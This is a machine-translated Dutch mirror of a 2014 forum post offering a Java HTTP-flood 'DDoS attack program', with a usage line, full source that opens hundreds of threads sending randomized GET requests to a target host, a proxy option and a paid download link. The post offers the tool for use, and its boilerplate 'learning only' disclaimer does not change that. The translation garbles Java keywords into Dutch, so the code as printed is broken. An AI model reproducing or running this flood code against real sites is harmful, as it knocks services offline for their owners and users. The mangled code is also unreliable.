Dit artikel is een spiegelartikel van machinevertaling, klik hier om naar het oorspronkelijke artikel te gaan.

Bekijken: 15524|Antwoord: 0

[Tips] Java-versie van het D-DOS aanvallersprogramma

[Link kopiëren]
Geplaatst op 01-12-2014 15:21:57 | | |
JAR-code
dDOS-aanval geïmplementeerd door Java.
Het verschilt echter niet van traditionele dDo's.
Deze software is een DDOS-aanval op een pagina.
Hoe te gebruiken:
Java -jar ccddos.jar www.xxx.com 80 10 /index.do gebruikersnaam=xxx 80

[mw_shl_code=java,true]import java.io.IOException;
import java.net.ConnectException;
import java.net.InetSocketAddress;
import java.nio.ByteBuffer;
import java.nio.channels.SelectionKey;
import java.nio.channels.Selector;
import java.nio.channels.SocketChannel;
import java.util.Iterator;
import java.util.Random;
import java.util.Set;
import java.util.Timer;
import java.util.TimerTask;
import java.util.Vector;

/**
* Daemondraden
*
* @author administratie
*
*/
Publieke klasse Test {
    privé String host, uri, param;
    privé-int haven;
    privé finale Vector<CCDDOSThread> v = nieuwe Vector<CCDDOSThread>();
    privé InetSocketAddress isa;
    privé int threadsAantal = 500; Aantal threads
    privé Random r = nieuwe Random();
    Privé lange timeout = 5000 pond;

    /**
     * Open de aanval
     */
    public void start() {
        voor (int i = 0; i < threadsCount; i++) {
            CCDDOSThread t = nieuwe CCDDOSThread();
            v.add(t);
            t.start();
            
            
            
        }
        Timer t = nieuwe Timer();
        t.schedule(new TimerTask() {
            public void run() {
                int count = 0, timeoutthreads = 0;
                long ct = System.currentTimeMillis();
                voor (Iterator<CCDDOSThread> = v.iterator(); it.hasNext(); ) {
                    CCDDOSThread th = het.next();
                    if (th.isCancle() || !th.isAlive()) {
                        it.verwijderen();
                        th = nul;
                        tellen++;
                    } anders als (ct - th.start > timeout) {
                        Time-out, externe kant
                        timeoutthreads++;
                        th.setCancle(waar);
                        th.interrupt();
                        it.verwijderen();
                        th = nul;
                        tellen++;
                    }
                }
                als (count == 0) {
                    terugkeren;
                }
                System.out.println("Thread is gesloten:"+count+", waarbij de timeout-thread is verbonden:"
                        + timeoutthreads);
                voor (int i = 0; Ik < tellen; i++) {
                    CCDDOSThread th = nieuwe CCDDOSThread();
                    v.add(th);
                    th.start();
                }
            }
        }, 0l, 100p);
        System.out.println("Daemondraad gestart:");
    }

    /**
     * @param args
     */
    publieke statische void main(String[] args) {
        als (args.length < 6) {
            System.out.println ("Instructies:");
            System.out
                    .println("java org.p3p.net.ccddos.Main <主机> <port> <同时开启的线程数> <URI> <参数> <连接超时> [<代理主机> <代理端口>]");
            System.out.println("");
            System.exit(0);
        } anders als (args.length >= 8) {
            Afspraak maken met een agent
            System.getProperties().put("proxySet", "true");
            System.getProperties().setProperty("http.proxyHost", args[6]);
            System.getProperties().setProperty("http.proxyPort", args[7]);
        }

        Test m = nieuwe test();
        m.host = args[0];
        m.port = Integer.valueOf(args[1]);
        m.uri = args[3];
        m.param = args[4];
        m.threadsCount = Integer.valueOf(args[2]);
        m.timeout = Long.valueOf(args[5]);
        m.isa = nieuw InetSocketAddress(m.host, m.port);
        m.start();
    }

    /**
     * Aanvalsdraden
     *
     * @author zhanghongbo
     *
     */
    class CCDDOSThread wijdt Thread {
        private booleaanse cancle = vals;
        publieke lange start = System.currentTimeMillis();

        public void setCancle(boolean cancle) {
            this.cancle = cancle;
        }

        publieke boolean isCancle() {
            Cancle terugbrengen;
        }

        public void run() {
            lange start = System.currentTimeMillis();
            Selector-selector;
            try {
                selector = Selector.open();
                SocketChannel sc;
                try {
                    sc = SocketChannel.open(isa);
                } catch (ConnectException ex) {
                    System.out.println(ex.getMessage());
                    cancle = waar;
                    selector.close();
                    terugkeren;
                }

                sc.configureBlocking(false);
                sc.register(selector, SelectionKey.OP_WRITE
                        | SelectionKey.OP_READ);
                wait: while (selector.select() > 0 & !cancle) {
                    if (System.currentTimeMillis() - start > timeout) {
                        cancle = waar;
                        pauze wachten;
                    }
                    Set<?> readykey = selector.selectedKeys();
                    Iterator<?> het = readykey.iterator();
                    terwijl (it.hasNext() && !cancle) {
                        if (System.currentTimeMillis() - start > timeout) {
                            cancle = waar;
                            pauze wachten;
                        }
                        SelectionKey skey = (SelectionKey) it.next();
                        it.verwijderen();
                        SocketChannel scc = (SocketChannel) skey.channel();

                        als ((skey.readyOps() & SelectionKey.OP_WRITE) == SelectionKey.OP_WRITE) {
                            Snaarkop = "GET" + uri + "?" + param
                                    + "&rndnum=" + r.nextInt()
                                    + " HTTP/1.1\r\n" + "Host: " + host
                                    + "\r\n" + "Verbinding:dicht\r\n" + "\r\n";
                            ByteBuffer bbf = ByteBuffer.wrap(head.getBytes());
                            scc.write(bbf);
                        }
                        skey.cancel();
                        scc.close();
                    }
                }
                selector.close();
                sc.close();

            } catch (IOException ex) {
                cancle = waar;
            }
        }
    }
}
[/mw_shl_code]

Downloaden van het eindproduct en broncode: java ddos.zip (8.42 KB, Aantal downloads: 0, Verkoopprijs: 2 Grain MB)





Vorig:Laten we het hebben over de grootste mysterieuze DDoS-aanval van 400G in de geschiedenis
Volgend:Stuur de iPhone 6 om te praten over de artefact crack-versie zonder punten.
Disclaimer:
Alle software, programmeermaterialen of artikelen die door Code Farmer Network worden gepubliceerd, zijn uitsluitend bedoeld voor leer- en onderzoeksdoeleinden; De bovenstaande inhoud mag niet worden gebruikt voor commerciële of illegale doeleinden, anders dragen gebruikers alle gevolgen. De informatie op deze site komt van het internet, en auteursrechtconflicten hebben niets met deze site te maken. Je moet bovenstaande inhoud volledig van je computer verwijderen binnen 24 uur na het downloaden. Als je het programma leuk vindt, steun dan de echte software, koop registratie en krijg betere echte diensten. Als er sprake is van een inbreuk, neem dan contact met ons op via e-mail.

Mail To:help@itsvse.com